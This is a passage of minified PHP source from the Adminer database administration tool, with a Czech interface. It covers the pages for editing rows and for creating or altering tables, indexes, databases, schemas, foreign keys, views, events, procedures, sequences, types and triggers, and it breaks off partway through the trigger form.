as$C=>$n){echo"<tr><th>".$b->fieldName($n);$Hb=$_GET["set"][bracket_escape($C)];if($Hb===null){$Hb=$n["default"];if($n["type"]=="bit"&&preg_match("~^b'([01]*)'\$~",$Hb,$Nf))$Hb=$Nf[1];}$Y=($K!==null?($K[$C]!=""&&$w=="sql"&&preg_match("~enum|set~",$n["type"])?(is_array($K[$C])?array_sum($K[$C]):+$K[$C]):$K[$C]):(!$zh&&$n["auto_increment"]?"":(isset($_GET["select"])?false:$Hb)));if(!$_POST["save"]&&is_string($Y))$Y=$b->editVal($Y,$n);$q=($_POST["save"]?(string)$_POST["function"][$C]:($zh&&$n["on_update"]=="CURRENT_TIMESTAMP"?"now":($Y===false?null:($Y!==null?'':'NULL'))));if(preg_match("~time~",$n["type"])&&$Y=="CURRENT_TIMESTAMP"){$Y="";$q="now";}input($n,$Y,$q);echo"\n";}if(!support("table"))echo"<tr>"."<th><input name='field_keys[]' onkeyup='keyupChange.call(this);' onchange='fieldChange(this);' value=''>"."<td class='function'>".html_select("field_funs[]",$b->editFunctions(array("null"=>isset($_GET["select"]))))."<td><input name='field_vals[]'>"."\n";echo"</table>\n";}echo'<p>
';if($o){echo"<input type='submit' value='".'Uložit'."'>\n";if(!isset($_GET["select"]))echo"<input type='submit' name='insert' value='".($zh?'Uložit a pokračovat v editaci'."' onclick='return !ajaxForm(this.form, \"".'Ukládá se'.'...", this)':'Uložit a vložit další')."' title='Ctrl+Shift+Enter'>\n";}echo($zh?"<input type='submit' name='delete' value='".'Smazat'."'".confirm().">\n":($_POST||!$o?"":"<script type='text/javascript'>focus(document.getElementById('form').getElementsByTagName('td')[1].firstChild);</script>\n"));if(isset($_GET["select"]))hidden_fields(array("check"=>(array)$_POST["check"],"clone"=>$_POST["clone"],"all"=>$_POST["all"]));echo'<input type="hidden" name="referer" value="',h(isset($_POST["referer"])?$_POST["referer"]:$_SERVER["HTTP_REFERER"]),'">
<input type="hidden" name="save" value="1">
<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["create"])){$a=$_GET["create"];$bf=array();foreach(array('HASH','LINEAR HASH','KEY','LINEAR KEY','RANGE','LIST')as$x)$bf[$x]=$x;$Kf=referencable_primary($a);$Kc=array();foreach($Kf
as$Hg=>$n)$Kc[str_replace("`","``",$Hg)."`".str_replace("`","``",$n["field"])]=$Hg;$Se=array();$R=array();if($a!=""){$Se=fields($a);$R=table_status($a);if(!$R)$m='Žádné tabulky.';}$K=$_POST;$K["fields"]=(array)$K["fields"];if($K["auto_increment_col"])$K["fields"][$K["auto_increment_col"]]["auto_increment"]=true;if($_POST&&!process_fields($K["fields"])&&!$m){if($_POST["drop"])queries_redirect(substr(ME,0,-1),'Tabulka byla odstraněna.',drop_tables(array($a)));else{$o=array();$Ba=array();$Bh=false;$Ic=array();ksort($K["fields"]);$Re=reset($Se);$za=" FIRST";foreach($K["fields"]as$x=>$n){$p=$Kc[$n["type"]];$ph=($p!==null?$Kf[$p]:$n);if($n["field"]!=""){if(!$n["has_default"])$n["default"]=null;if($x==$K["auto_increment_col"])$n["auto_increment"]=true;$zf=process_field($n,$ph);$Ba[]=array($n["orig"],$zf,$za);if($zf!=process_field($Re,$Re)){$o[]=array($n["orig"],$zf,$za);if($n["orig"]!=""||$za)$Bh=true;}if($p!==null)$Ic[idf_escape($n["field"])]=($a!=""&&$w!="sqlite"?"ADD":" ").format_foreign_key(array('table'=>$Kc[$n["type"]],'source'=>array($n["field"]),'target'=>array($ph["field"]),'on_delete'=>$n["on_delete"],));$za=" AFTER ".idf_escape($n["field"]);}elseif($n["orig"]!=""){$Bh=true;$o[]=array($n["orig"]);}if($n["orig"]!=""){$Re=next($Se);if(!$Re)$za="";}}$df="";if($bf[$K["partition_by"]]){$ef=array();if($K["partition_by"]=='RANGE'||$K["partition_by"]=='LIST'){foreach(array_filter($K["partition_names"])as$x=>$X){$Y=$K["partition_values"][$x];$ef[]="\n PARTITION ".idf_escape($X)." VALUES ".($K["partition_by"]=='RANGE'?"LESS THAN":"IN").($Y!=""?" ($Y)":" MAXVALUE");}}$df.="\nPARTITION BY $K[partition_by]($K[partition])".($ef?" (".implode(",",$ef)."\n)":($K["partitions"]?" PARTITIONS ".(+$K["partitions"]):""));}elseif(support("partitioning")&&preg_match("~partitioned~",$R["Create_options"]))$df.="\nREMOVE PARTITIONING";$ee='Tabulka byla změněna.';if($a==""){cookie("adminer_engine",$K["Engine"]);$ee='Tabulka byla vytvořena.';}$C=trim($K["name"]);queries_redirect(ME.(support("table")?"table=":"select=").urlencode($C),$ee,alter_table($a,$C,($w=="sqlite"&&($Bh||$Ic)?$Ba:$o),$Ic,$K["Comment"],($K["Engine"]&&$K["Engine"]!=$R["Engine"]?$K["Engine"]:""),($K["Collation"]&&$K["Collation"]!=$R["Collation"]?$K["Collation"]:""),($K["Auto_increment"]!=""?+$K["Auto_increment"]:""),$df));}}page_header(($a!=""?'Pozměnit tabulku':'Vytvořit tabulku'),$m,array("table"=>$a),h($a));if(!$_POST){$K=array("Engine"=>$_COOKIE["adminer_engine"],"fields"=>array(array("field"=>"","type"=>(isset($rh["int"])?"int":(isset($rh["integer"])?"integer":"")))),"partition_names"=>array(""),);if($a!=""){$K=$R;$K["name"]=$a;$K["fields"]=array();if(!$_GET["auto_increment"])$K["Auto_increment"]="";foreach($Se
as$n){$n["has_default"]=isset($n["default"]);$K["fields"][]=$n;}if(support("partitioning")){$Pc="FROM information_schema.PARTITIONS WHERE TABLE_SCHEMA = ".q(DB)." AND TABLE_NAME = ".q($a);$I=$g->query("SELECT PARTITION_METHOD, PARTITION_ORDINAL_POSITION, PARTITION_EXPRESSION $Pc ORDER BY PARTITION_ORDINAL_POSITION DESC LIMIT 1");list($K["partition_by"],$K["partitions"],$K["partition"])=$I->fetch_row();$ef=get_key_vals("SELECT PARTITION_NAME, PARTITION_DESCRIPTION $Pc AND PARTITION_NAME != '' ORDER BY PARTITION_ORDINAL_POSITION");$ef[""]="";$K["partition_names"]=array_keys($ef);$K["partition_values"]=array_values($ef);}}}$ib=collations();$jc=engines();foreach($jc
as$ic){if(!strcasecmp($ic,$K["Engine"])){$K["Engine"]=$ic;break;}}echo'
<form action="" method="post" id="form">
<p>
';if(support("columns")||$a==""){echo'Název tabulky: <input name="name" maxlength="64" value="',h($K["name"]),'" autocapitalize="off">
';if($a==""&&!$_POST){?><script type='text/javascript'>focus(document.getElementById('form')['name']);</script><?php }echo($jc?"<select name='Engine' onchange='helpClose();'".on_help("getTarget(event).value",1).">".optionlist(array(""=>"(".'úložiště'.")")+$jc,$K["Engine"])."</select>":""),' ',($ib&&!preg_match("~sqlite|mssql~",$w)?html_select("Collation",array(""=>"(".'porovnávání'.")")+$ib,$K["Collation"]):""),' <input type="submit" value="Uložit">
';}echo'
';if(support("columns")){echo'<table cellspacing="0" id="edit-fields" class="nowrap">
';$nb=($_POST?$_POST["comments"]:$K["Comment"]!="");if(!$_POST&&!$nb){foreach($K["fields"]as$n){if($n["comment"]!=""){$nb=true;break;}}}edit_fields($K["fields"],$ib,"TABLE",$Kc,$nb);echo'</table>
<p>
Auto Increment: <input type="number" name="Auto_increment" size="6" value="',h($K["Auto_increment"]),'">
',checkbox("defaults",1,true,'Výchozí hodnoty',"columnShow(this.checked, 5)","jsonly");if(!$_POST["defaults"]){echo'<script type="text/javascript">editingHideDefaults()</script>';}echo(support("comment")?"<label><input type='checkbox' name='comments' value='1' class='jsonly' onclick=\"columnShow(this.checked, 6); toggle('Comment'); if (this.checked) this.form['Comment'].focus();\"".($nb?" checked":"").">".'Komentář'."</label>".' <input name="Comment" id="Comment" value="'.h($K["Comment"]).'" maxlength="'.($g->server_info>=5.5?2048:60).'"'.($nb?'':' class="hidden"').'>':''),'<p>
<input type="submit" value="Uložit">
';}echo'
';if($a!=""){echo'<input type="submit" name="drop" value="Odstranit"',confirm(),'>';}if(support("partitioning")){$cf=preg_match('~RANGE|LIST~',$K["partition_by"]);print_fieldset("partition",'Rozdělit podle',$K["partition_by"]);echo'<p>
',"<select name='partition_by' onchange='partitionByChange(this);'".on_help("getTarget(event).value.replace(/./, 'PARTITION BY \$&')",1).">".optionlist(array(""=>"")+$bf,$K["partition_by"])."</select>",'(<input name="partition" value="',h($K["partition"]),'">)
Oddíly: <input type="number" name="partitions" class="size',($cf||!$K["partition_by"]?" hidden":""),'" value="',h($K["partitions"]),'">
<table cellspacing="0" id="partition-table"',($cf?"":" class='hidden'"),'>
<thead><tr><th>Název oddílu<th>Hodnoty</thead>
';foreach($K["partition_names"]as$x=>$X){echo'<tr>','<td><input name="partition_names[]" value="'.h($X).'"'.($x==count($K["partition_names"])-1?' onchange="partitionNameChange(this);"':'').' autocapitalize="off">','<td><input name="partition_values[]" value="'.h($K["partition_values"][$x]).'">';}echo'</table>
</div></fieldset>
';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["indexes"])){$a=$_GET["indexes"];$ld=array("PRIMARY","UNIQUE","INDEX");$R=table_status($a,true);if(preg_match('~MyISAM|M?aria'.($g->server_info>=5.6?'|InnoDB':'').'~i',$R["Engine"]))$ld[]="FULLTEXT";$v=indexes($a);$sf=array();if($w=="mongo"){$sf=$v["_id_"];unset($ld[0]);unset($v["_id_"]);}$K=$_POST;if($_POST&&!$m&&!$_POST["add"]&&!$_POST["drop_col"]){$c=array();foreach($K["indexes"]as$u){$C=$u["name"];if(in_array($u["type"],$ld)){$f=array();$Od=array();$Lb=array();$O=array();ksort($u["columns"]);foreach($u["columns"]as$x=>$e){if($e!=""){$y=$u["lengths"][$x];$Kb=$u["descs"][$x];$O[]=idf_escape($e).($y?"(".(+$y).")":"").($Kb?" DESC":"");$f[]=$e;$Od[]=($y?$y:null);$Lb[]=$Kb;}}if($f){$tc=$v[$C];if($tc){ksort($tc["columns"]);ksort($tc["lengths"]);ksort($tc["descs"]);if($u["type"]==$tc["type"]&&array_values($tc["columns"])===$f&&(!$tc["lengths"]||array_values($tc["lengths"])===$Od)&&array_values($tc["descs"])===$Lb){unset($v[$C]);continue;}}$c[]=array($u["type"],$C,$O);}}}foreach($v
as$C=>$tc)$c[]=array($tc["type"],$C,"DROP");if(!$c)redirect(ME."table=".urlencode($a));queries_redirect(ME."table=".urlencode($a),'Indexy byly změněny.',alter_indexes($a,$c));}page_header('Indexy',$m,array("table"=>$a),h($a));$o=array_keys(fields($a));if($_POST["add"]){foreach($K["indexes"]as$x=>$u){if($u["columns"][count($u["columns"])]!="")$K["indexes"][$x]["columns"][]="";}$u=end($K["indexes"]);if($u["type"]||array_filter($u["columns"],'strlen'))$K["indexes"][]=array("columns"=>array(1=>""));}if(!$K){foreach($v
as$x=>$u){$v[$x]["name"]=$x;$v[$x]["columns"][]="";}$v[]=array("columns"=>array(1=>""));$K["indexes"]=$v;}?>
<form action="" method="post">
<table cellspacing="0" class="nowrap">
<thead><tr>
<th>Typ indexu
<th><input type="submit" style="left: -1000px; position: absolute;">Sloupec (délka)
<th>Název
<th><noscript><input type='image' class='icon' name='add[0]' src='" . h(preg_replace("~\\?.*~", "", ME)) . "?file=plus.gif&version=4.0.3' alt='+' title='Přidat další'></noscript>
</thead>
<?php
if($sf){echo"<tr><td>PRIMARY<td>";foreach($sf["columns"]as$x=>$e){echo
select_input(" disabled",$o,$e),"<label><input disabled type='checkbox'>".'sestupně'."</label> ";}echo"<td><td>\n";}$zd=1;foreach($K["indexes"]as$u){if(!$_POST["drop_col"]||$zd!=key($_POST["drop_col"])){echo"<tr><td>".html_select("indexes[$zd][type]",array(-1=>"")+$ld,$u["type"],($zd==count($K["indexes"])?"indexesAddRow(this);":1)),"<td>";ksort($u["columns"]);$r=1;foreach($u["columns"]as$x=>$e){echo"<span>".select_input(" name='indexes[$zd][columns][$r]' onchange=\"".($r==count($u["columns"])?"indexesAddColumn":"indexesChangeColumn")."(this, '".js_escape($w=="sql"?"":$_GET["indexes"]."_")."');\"",($o?array_combine($o,$o):$o),$e),($w=="sql"||$w=="mssql"?"<input type='number' name='indexes[$zd][lengths][$r]' class='size' value='".h($u["lengths"][$x])."'>":""),($w!="sql"?checkbox("indexes[$zd][descs][$r]",1,$u["descs"][$x],'sestupně'):"")," </span>";$r++;}echo"<td><input name='indexes[$zd][name]' value='".h($u["name"])."' autocapitalize='off'>\n","<td><input type='image' class='icon' name='drop_col[$zd]' src='".h(preg_replace("~\\?.*~","",ME))."?file=cross.gif&version=4.0.3' alt='x' title='".'Odebrat'."' onclick=\"return !editingRemoveRow(this, 'indexes\$1[type]');\">\n";}$zd++;}echo'</table>
<p>
<input type="submit" value="Uložit">
<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["database"])){$K=$_POST;if($_POST&&!$m&&!isset($_POST["add_x"])){restart_session();$C=trim($K["name"]);if($_POST["drop"]){$_GET["db"]="";queries_redirect(remove_from_uri("db|database"),'Databáze byla odstraněna.',drop_databases(array(DB)));}elseif(DB!==$C){if(DB!=""){$_GET["db"]=$C;queries_redirect(preg_replace('~\bdb=[^&]*&~','',ME)."db=".urlencode($C),'Databáze byla přejmenována.',rename_database($C,$K["collation"]));}else{$j=explode("\n",str_replace("\r","",$C));$Bg=true;$Id="";foreach($j
as$k){if(count($j)==1||$k!=""){if(!create_database($k,$K["collation"]))$Bg=false;$Id=$k;}}queries_redirect(ME."db=".urlencode($Id),'Databáze byla vytvořena.',$Bg);}}else{if(!$K["collation"])redirect(substr(ME,0,-1));query_redirect("ALTER DATABASE ".idf_escape($C).(preg_match('~^[a-z0-9_]+$~i',$K["collation"])?" COLLATE $K[collation]":""),substr(ME,0,-1),'Databáze byla změněna.');}}page_header(DB!=""?'Pozměnit databázi':'Vytvořit databázi',$m,array(),h(DB));$ib=collations();$C=DB;if($_POST)$C=$K["name"];elseif(DB!="")$K["collation"]=db_collation(DB,$ib);elseif($w=="sql"){foreach(get_vals("SHOW GRANTS")as$Sc){if(preg_match('~ ON (`(([^\\\\`]|``|\\\\.)*)%`\\.\\*)?~',$Sc,$B)&&$B[1]){$C=stripcslashes(idf_unescape("`$B[2]`"));break;}}}echo'
<form action="" method="post">
<p>
',($_POST["add_x"]||strpos($C,"\n")?'<textarea id="name" name="name" rows="10" cols="40">'.h($C).'</textarea><br>':'<input name="name" id="name" value="'.h($C).'" maxlength="64" autocapitalize="off">')."\n".($ib?html_select("collation",array(""=>"(".'porovnávání'.")")+$ib,$K["collation"]).doc_link(array('sql'=>"charset-charsets.html",'mssql'=>"ms187963.aspx",)):"");?>
<script type='text/javascript'>focus(document.getElementById('name'));</script>
<input type="submit" value="Uložit">
<?php
if(DB!="")echo"<input type='submit' name='drop' value='".'Odstranit'."'".confirm().">\n";elseif(!$_POST["add_x"]&&$_GET["db"]=="")echo"<input type='image' class='icon' name='add' src='".h(preg_replace("~\\?.*~","",ME))."?file=plus.gif&version=4.0.3' alt='+' title='".'Přidat další'."'>\n";echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["scheme"])){$K=$_POST;if($_POST&&!$m){$_=preg_replace('~ns=[^&]*&~','',ME)."ns=";if($_POST["drop"])query_redirect("DROP SCHEMA ".idf_escape($_GET["ns"]),$_,'Schéma bylo odstraněno.');else{$C=trim($K["name"]);$_.=urlencode($C);if($_GET["ns"]=="")query_redirect("CREATE SCHEMA ".idf_escape($C),$_,'Schéma bylo vytvořeno.');elseif($_GET["ns"]!=$C)query_redirect("ALTER SCHEMA ".idf_escape($_GET["ns"])." RENAME TO ".idf_escape($C),$_,'Schéma bylo změněno.');else
redirect($_);}}page_header($_GET["ns"]!=""?'Pozměnit schéma':'Vytvořit schéma',$m);if(!$K)$K["name"]=$_GET["ns"];echo'
<form action="" method="post">
<p><input name="name" id="name" value="',h($K["name"]);?>" autocapitalize="off">
<script type='text/javascript'>focus(document.getElementById('name'));</script>
<input type="submit" value="Uložit">
<?php
if($_GET["ns"]!="")echo"<input type='submit' name='drop' value='".'Odstranit'."'".confirm().">\n";echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["call"])){$da=$_GET["call"];page_header('Zavolat'.": ".h($da),$m);$Xf=routine($da,(isset($_GET["callf"])?"FUNCTION":"PROCEDURE"));$jd=array();$Ve=array();foreach($Xf["fields"]as$r=>$n){if(substr($n["inout"],-3)=="OUT")$Ve[$r]="@".idf_escape($n["field"])." AS ".idf_escape($n["field"]);if(!$n["inout"]||substr($n["inout"],0,2)=="IN")$jd[]=$r;}if(!$m&&$_POST){$Wa=array();foreach($Xf["fields"]as$x=>$n){if(in_array($x,$jd)){$X=process_input($n);if($X===false)$X="''";if(isset($Ve[$x]))$g->query("SET @".idf_escape($n["field"])." = $X");}$Wa[]=(isset($Ve[$x])?"@".idf_escape($n["field"]):$X);}$H=(isset($_GET["callf"])?"SELECT":"CALL")." ".idf_escape($da)."(".implode(", ",$Wa).")";echo"<p><code class='jush-$w'>".h($H)."</code> <a href='".h(ME)."sql=".urlencode($H)."'>".'Upravit'."</a>\n";if(!$g->multi_query($H))echo"<p class='error'>".error()."\n";else{$h=connect();if(is_object($h))$h->select_db(DB);do{$I=$g->store_result();if(is_object($I))select($I,$h);else
echo"<p class='message'>".lang(array('Procedura byla zavolána, byl změněn %d záznam.','Procedura byla zavolána, byly změněny %d záznamy.','Procedura byla zavolána, bylo změněno %d záznamů.'),$g->affected_rows)."\n";}while($g->next_result());if($Ve)select($g->query("SELECT ".implode(", ",$Ve)));}}echo'
<form action="" method="post">
';if($jd){echo"<table cellspacing='0'>\n";foreach($jd
as$x){$n=$Xf["fields"][$x];$C=$n["field"];echo"<tr><th>".$b->fieldName($n);$Y=$_POST["fields"][$C];if($Y!=""){if($n["type"]=="enum")$Y=+$Y;if($n["type"]=="set")$Y=array_sum($Y);}input($n,$Y,(string)$_POST["function"][$C]);echo"\n";}echo"</table>\n";}echo'<p>
<input type="submit" value="Zavolat">
<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["foreign"])){$a=$_GET["foreign"];$C=$_GET["name"];$K=$_POST;if($_POST&&!$m&&!$_POST["add"]&&!$_POST["change"]&&!$_POST["change-js"]){$ee=($_POST["drop"]?'Cizí klíč byl odstraněn.':($C!=""?'Cizí klíč byl změněn.':'Cizí klíč byl vytvořen.'));$A=ME."table=".urlencode($a);$K["source"]=array_filter($K["source"],'strlen');ksort($K["source"]);$Pg=array();foreach($K["source"]as$x=>$X)$Pg[$x]=$K["target"][$x];$K["target"]=$Pg;if($w=="sqlite")queries_redirect($A,$ee,recreate_table($a,$a,array(),array(),array(" $C"=>($_POST["drop"]?"":" ".format_foreign_key($K)))));else{$c="ALTER TABLE ".table($a);$Tb="\nDROP ".($w=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($C);if($_POST["drop"])query_redirect($c.$Tb,$A,$ee);else{query_redirect($c.($C!=""?"$Tb,":"")."\nADD".format_foreign_key($K),$A,$ee);$m='Zdrojové a cílové sloupce musí mít stejný datový typ, nad cílovými sloupci musí být definován index a odkazovaná data musí existovat.'."<br>$m";}}}page_header('Cizí klíč',$m,array("table"=>$a),h($a));if($_POST){ksort($K["source"]);if($_POST["add"])$K["source"][]="";elseif($_POST["change"]||$_POST["change-js"])$K["target"]=array();}elseif($C!=""){$Kc=foreign_keys($a);$K=$Kc[$C];$K["source"][]="";}else{$K["table"]=$a;$K["source"]=array("");}$sg=array_keys(fields($a));$Pg=($a===$K["table"]?$sg:array_keys(fields($K["table"])));$Jf=array_keys(array_filter(table_status('',true),'fk_support'));echo'
<form action="" method="post">
<p>
';if($K["db"]==""&&$K["ns"]==""){echo'Cílová tabulka:
',html_select("table",$Jf,$K["table"],"this.form['change-js'].value = '1'; this.form.submit();"),'<input type="hidden" name="change-js" value="">
<noscript><p><input type="submit" name="change" value="Změnit"></noscript>
<table cellspacing="0">
<thead><tr><th>Zdroj<th>Cíl</thead>
';$zd=0;foreach($K["source"]as$x=>$X){echo"<tr>","<td>".html_select("source[".(+$x)."]",array(-1=>"")+$sg,$X,($zd==count($K["source"])-1?"foreignAddRow(this);":1)),"<td>".html_select("target[".(+$x)."]",$Pg,$K["target"][$x]);$zd++;}echo'</table>
<p>
Při smazání: ',html_select("on_delete",array(-1=>"")+explode("|",$De),$K["on_delete"]),' Při změně: ',html_select("on_update",array(-1=>"")+explode("|",$De),$K["on_update"]),doc_link(array('sql'=>"innodb-foreign-key-constraints.html",'pgsql'=>"sql-createtable.html#SQL-CREATETABLE-REFERENCES",'mssql'=>"ms174979.aspx",'oracle'=>"clauses002.htm#sthref2903",)),'<p>
<input type="submit" value="Uložit">
<noscript><p><input type="submit" name="add" value="Přidat sloupec"></noscript>
';}if($C!=""){echo'<input type="submit" name="drop" value="Odstranit"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["view"])){$a=$_GET["view"];$K=$_POST;if($_POST&&!$m){$C=trim($K["name"]);$Ea=" AS\n$K[select]";$A=ME."table=".urlencode($C);$ee='Pohled byl změněn.';if(!$_POST["drop"]&&$a==$C&&$w!="sqlite")query_redirect(($w=="mssql"?"ALTER":"CREATE OR REPLACE")." VIEW ".table($C).$Ea,$A,$ee);else{$Rg=$C."_adminer_".uniqid();drop_create("DROP VIEW ".table($a),"CREATE VIEW ".table($C).$Ea,"DROP VIEW ".table($C),"CREATE VIEW ".table($Rg).$Ea,"DROP VIEW ".table($Rg),($_POST["drop"]?substr(ME,0,-1):$A),'Pohled byl odstraněn.',$ee,'Pohled byl vytvořen.',$a,$C);}}if(!$_POST&&$a!=""){$K=view($a);$K["name"]=$a;if(!$m)$m=$g->error;}page_header(($a!=""?'Pozměnit pohled':'Vytvořit pohled'),$m,array("table"=>$a),h($a));echo'
<form action="" method="post">
<p>Název: <input name="name" value="',h($K["name"]),'" maxlength="64" autocapitalize="off">
<p>';textarea("select",$K["select"]);echo'<p>
<input type="submit" value="Uložit">
';if($_GET["view"]!=""){echo'<input type="submit" name="drop" value="Odstranit"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["event"])){$aa=$_GET["event"];$td=array("YEAR","QUARTER","MONTH","DAY","HOUR","MINUTE","WEEK","SECOND","YEAR_MONTH","DAY_HOUR","DAY_MINUTE","DAY_SECOND","HOUR_MINUTE","HOUR_SECOND","MINUTE_SECOND");$yg=array("ENABLED"=>"ENABLE","DISABLED"=>"DISABLE","SLAVESIDE_DISABLED"=>"DISABLE ON SLAVE");$K=$_POST;if($_POST&&!$m){if($_POST["drop"])query_redirect("DROP EVENT ".idf_escape($aa),substr(ME,0,-1),'Událost byla odstraněna.');elseif(in_array($K["INTERVAL_FIELD"],$td)&&isset($yg[$K["STATUS"]])){$cg="\nON SCHEDULE ".($K["INTERVAL_VALUE"]?"EVERY ".q($K["INTERVAL_VALUE"])." $K[INTERVAL_FIELD]".($K["STARTS"]?" STARTS ".q($K["STARTS"]):"").($K["ENDS"]?" ENDS ".q($K["ENDS"]):""):"AT ".q($K["STARTS"]))." ON COMPLETION".($K["ON_COMPLETION"]?"":" NOT")." PRESERVE";queries_redirect(substr(ME,0,-1),($aa!=""?'Událost byla změněna.':'Událost byla vytvořena.'),queries(($aa!=""?"ALTER EVENT ".idf_escape($aa).$cg.($aa!=$K["EVENT_NAME"]?"\nRENAME TO ".idf_escape($K["EVENT_NAME"]):""):"CREATE EVENT ".idf_escape($K["EVENT_NAME"]).$cg)."\n".$yg[$K["STATUS"]]." COMMENT ".q($K["EVENT_COMMENT"]).rtrim(" DO\n$K[EVENT_DEFINITION]",";").";"));}}page_header(($aa!=""?'Pozměnit událost'.": ".h($aa):'Vytvořit událost'),$m);if(!$K&&$aa!=""){$L=get_rows("SELECT * FROM information_schema.EVENTS WHERE EVENT_SCHEMA = ".q(DB)." AND EVENT_NAME = ".q($aa));$K=reset($L);}echo'
<form action="" method="post">
<table cellspacing="0">
<tr><th>Název<td><input name="EVENT_NAME" value="',h($K["EVENT_NAME"]),'" maxlength="64" autocapitalize="off">
<tr><th title="datetime">Začátek<td><input name="STARTS" value="',h("$K[EXECUTE_AT]$K[STARTS]"),'">
<tr><th title="datetime">Konec<td><input name="ENDS" value="',h($K["ENDS"]),'">
<tr><th>Každých<td><input type="number" name="INTERVAL_VALUE" value="',h($K["INTERVAL_VALUE"]),'" class="size"> ',html_select("INTERVAL_FIELD",$td,$K["INTERVAL_FIELD"]),'<tr><th>Stav<td>',html_select("STATUS",$yg,$K["STATUS"]),'<tr><th>Komentář<td><input name="EVENT_COMMENT" value="',h($K["EVENT_COMMENT"]),'" maxlength="64">
<tr><th> <td>',checkbox("ON_COMPLETION","PRESERVE",$K["ON_COMPLETION"]=="PRESERVE",'Po dokončení zachovat'),'</table>
<p>';textarea("EVENT_DEFINITION",$K["EVENT_DEFINITION"]);echo'<p>
<input type="submit" value="Uložit">
';if($aa!=""){echo'<input type="submit" name="drop" value="Odstranit"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["procedure"])){$da=$_GET["procedure"];$Xf=(isset($_GET["function"])?"FUNCTION":"PROCEDURE");$K=$_POST;$K["fields"]=(array)$K["fields"];if($_POST&&!process_fields($K["fields"])&&!$m){$Rg="$K[name]_adminer_".uniqid();drop_create("DROP $Xf ".idf_escape($da),create_routine($Xf,$K),"DROP $Xf ".idf_escape($K["name"]),create_routine($Xf,array("name"=>$Rg)+$K),"DROP $Xf ".idf_escape($Rg),substr(ME,0,-1),'Procedura byla odstraněna.','Procedura byla změněna.','Procedura byla vytvořena.',$da,$K["name"]);}page_header(($da!=""?(isset($_GET["function"])?'Změnit funkci':'Změnit proceduru').": ".h($da):(isset($_GET["function"])?'Vytvořit funkci':'Vytvořit proceduru')),$m);if(!$_POST&&$da!=""){$K=routine($da,$Xf);$K["name"]=$da;}$ib=get_vals("SHOW CHARACTER SET");sort($ib);$Yf=routine_languages();echo'
<form action="" method="post" id="form">
<p>Název: <input name="name" value="',h($K["name"]),'" maxlength="64" autocapitalize="off">
',($Yf?'Jazyk'.": ".html_select("language",$Yf,$K["language"]):""),'<input type="submit" value="Uložit">
<table cellspacing="0" class="nowrap">
';edit_fields($K["fields"],$ib,$Xf);if(isset($_GET["function"])){echo"<tr><td>".'Návratový typ';edit_type("returns",$K["returns"],$ib);}echo'</table>
<p>';textarea("definition",$K["definition"]);echo'<p>
<input type="submit" value="Uložit">
';if($da!=""){echo'<input type="submit" name="drop" value="Odstranit"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["sequence"])){$fa=$_GET["sequence"];$K=$_POST;if($_POST&&!$m){$_=substr(ME,0,-1);$C=trim($K["name"]);if($_POST["drop"])query_redirect("DROP SEQUENCE ".idf_escape($fa),$_,'Sekvence byla odstraněna.');elseif($fa=="")query_redirect("CREATE SEQUENCE ".idf_escape($C),$_,'Sekvence byla vytvořena.');elseif($fa!=$C)query_redirect("ALTER SEQUENCE ".idf_escape($fa)." RENAME TO ".idf_escape($C),$_,'Sekvence byla změněna.');else
redirect($_);}page_header($fa!=""?'Pozměnit sekvenci'.": ".h($fa):'Vytvořit sekvenci',$m);if(!$K)$K["name"]=$fa;echo'
<form action="" method="post">
<p><input name="name" value="',h($K["name"]),'" autocapitalize="off">
<input type="submit" value="Uložit">
';if($fa!="")echo"<input type='submit' name='drop' value='".'Odstranit'."'".confirm().">\n";echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["type"])){$ga=$_GET["type"];$K=$_POST;if($_POST&&!$m){$_=substr(ME,0,-1);if($_POST["drop"])query_redirect("DROP TYPE ".idf_escape($ga),$_,'Typ byl odstraněn.');else
query_redirect("CREATE TYPE ".idf_escape(trim($K["name"]))." $K[as]",$_,'Typ byl vytvořen.');}page_header($ga!=""?'Pozměnit typ'.": ".h($ga):'Vytvořit typ',$m);if(!$K)$K["as"]="AS ";echo'
<form action="" method="post">
<p>
';if($ga!="")echo"<input type='submit' name='drop' value='".'Odstranit'."'".confirm().">\n";else{echo"<input name='name' value='".h($K['name'])."' autocapitalize='off'>\n";textarea("as",$K["as"]);echo"<p><input type='submit' value='".'Uložit'."'>\n";}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["trigger"])){$a=$_GET["trigger"];$C=$_GET["name"];$nh=trigger_options();$lh=array("INSERT","UPDATE","DELETE");$K=(array)trigger($C)+array("Trigger"=>$a."_bi");if($_POST){if(!$m&&in_array($_POST["Timing"],$nh["Timing"])&&in_array($_POST["Event"],$lh)&&in_array($_POST["Type"],$nh["Type"])){$Ce=" ON ".table($a);$Tb="DROP TRIGGER ".idf_escape($C).($w=="pgsql"?$Ce:"");$A=ME."table=".urlencode($a);if($_POST["drop"])query_redirect($Tb,$A,'Trigger byl odstraněn.');else{if($C!="")queries($Tb);queries_redirect($A,($C!=""?'Trigger byl změněn.':'Trigger byl vytvořen.'),queries(create_trigger($Ce,$_POST)));if($C!="")queries(create_trigger($Ce,$K+array("Type"=>reset($nh["Type"]))));}}$K=$_POST;}page_header(($C!=""?'Změnit trigger'.": ".h($C):'Vytvořit trigger'),$m,array("table"=>$a));echo'
<form action="" method="post" id="form">
<table cellspacing="0">
